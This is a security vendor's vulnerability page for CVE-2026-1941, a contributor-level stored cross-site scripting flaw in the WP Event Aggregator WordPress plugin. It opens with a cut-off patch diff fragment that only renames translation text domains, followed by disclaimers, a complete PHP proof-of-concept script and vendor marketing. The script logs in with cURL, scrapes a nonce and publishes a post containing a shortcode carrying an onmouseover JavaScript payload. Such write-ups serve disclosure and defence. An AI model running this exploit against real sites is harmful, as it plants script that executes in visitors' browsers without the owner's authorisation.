 			$this->sort_by[] = 'status';
 		} elseif ( in_array( $request_status, array( 'in-progress', 'failed' ), true ) ) {
-			$this->columns  += array( 'claim_id' => __( 'Claim ID', 'import-eventbrite-events' ) );
+			$this->columns  += array( 'claim_id' => __( 'Claim ID', 'wp-event-aggregator' ) );
 			$this->sort_by[] = 'claim_id';
 		}

 		$this->row_actions = array(
 			'hook' => array(
 				'run'    => array(
-					'name' => __( 'Run', 'import-eventbrite-events' ),
-					'desc' => __( 'Process the action now as if it were run as part of a queue', 'import-eventbrite-events' ),
+					'name' => __( 'Run', 'wp-event-aggregator' ),
+					'desc' => __( 'Process the action now as if it were run as part of a queue', 'wp-event-aggregator' ),
 				),
 				'cancel' => array(
-					'name'  => __( 'Cancel', 'import-eventbrite-events' ),
-					'desc'  => __( 'Cancel the action now to avoid it being run in future', 'import-eventbrite-events' ),
+					'name'  => __( 'Cancel', 'wp-event-aggregator' ),
+					'desc'  => __( 'Cancel the action now to avoid it being run in future', 'wp-event-aggregator' ),
 					'class' => 'cancel trash',
 				),
 			),
@@ -141,44 +141,44 @@
 			array(
 				'seconds' => YEAR_IN_SECONDS,
 				/* translators: %s: amount of time */
-				'names'   => _n_noop( '%s year', '%s years', 'import-eventbrite-events' ),
+				'names'   => _n_noop( '%s year', '%s years', 'wp-event-aggregator' ),
 			),
 			array(
 				'seconds' => MONTH_IN_SECONDS,
 				/* translators: %s: amount of time */
-				'names'   => _n_noop( '%s month', '%s months', 'import-eventbrite-events' ),
+				'names'   => _n_noop( '%s month', '%s months', 'wp-event-aggregator' ),
 			),
 			array(
 				'seconds' => WEEK_IN_SECONDS,
 				/* translators: %s: amount of time */
-				'names'   => _n_noop( '%s week', '%s weeks', 'import-eventbrite-events' ),
+				'names'   => _n_noop( '%s week', '%s weeks', 'wp-event-aggregator' ),
 			),
 			array(
 				'seconds' => DAY_IN_SECONDS,
 				/* translators: %s: amount of time */
-				'names'   => _n_noop( '%s day', '%s days', 'import-eventbrite-events' ),
+				'names'   => _n_noop( '%s day', '%s days', 'wp-event-aggregator' ),
 			),
 			array(
 				'seconds' => HOUR_IN_SECONDS,
 				/* translators: 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1941 - WP Event Aggregator <= 1.8.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

<?php
/**
 * Proof of Concept for CVE-2026-1941
 * This script simulates an authenticated Contributor user injecting a malicious shortcode.
 * It requires valid WordPress credentials for a user with at least Contributor role.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload: Shortcode with malicious onmouseover attribute
$malicious_shortcode = '[wp_events col="2" layout="style1" onmouseover="alert('XSS');"]';
$post_title = 'Test Event Page';
$post_content = 'This page contains a malicious shortcode. ' . $malicious_shortcode;

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce (if required) and cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$login_page = curl_exec($ch);

// Step 2: Submit login credentials
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Step 3: Create a new post with the malicious shortcode
// First, get the post creation page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$post_page = curl_exec($ch);

// Extract nonce from the page (simplified - in reality would need proper parsing)
// This is a simplified example; actual implementation needs to parse the _wpnonce from the form
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $nonce_matches);
$nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';

// Step 4: Submit the new post with malicious shortcode
$post_data = array(
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post',
    'post_status' => 'publish'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);

// Check if post was created successfully
if (strpos($post_response, 'Post published.') !== false || strpos($post_response, 'Post updated.') !== false) {
    echo "[+] Malicious post created successfully.n";
    echo "[+] Visit the post page to trigger the XSS payload.n";
    
    // Extract post URL from response (simplified)
    preg_match('/class="post-published".*?href="([^"]+)"/s', $post_response, $url_matches);
    if (isset($url_matches[1])) {
        echo "[+] Post URL: " . $url_matches[1] . "n";
    }
} else {
    echo "[-] Failed to create post.n";
}

curl_close($ch);

// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School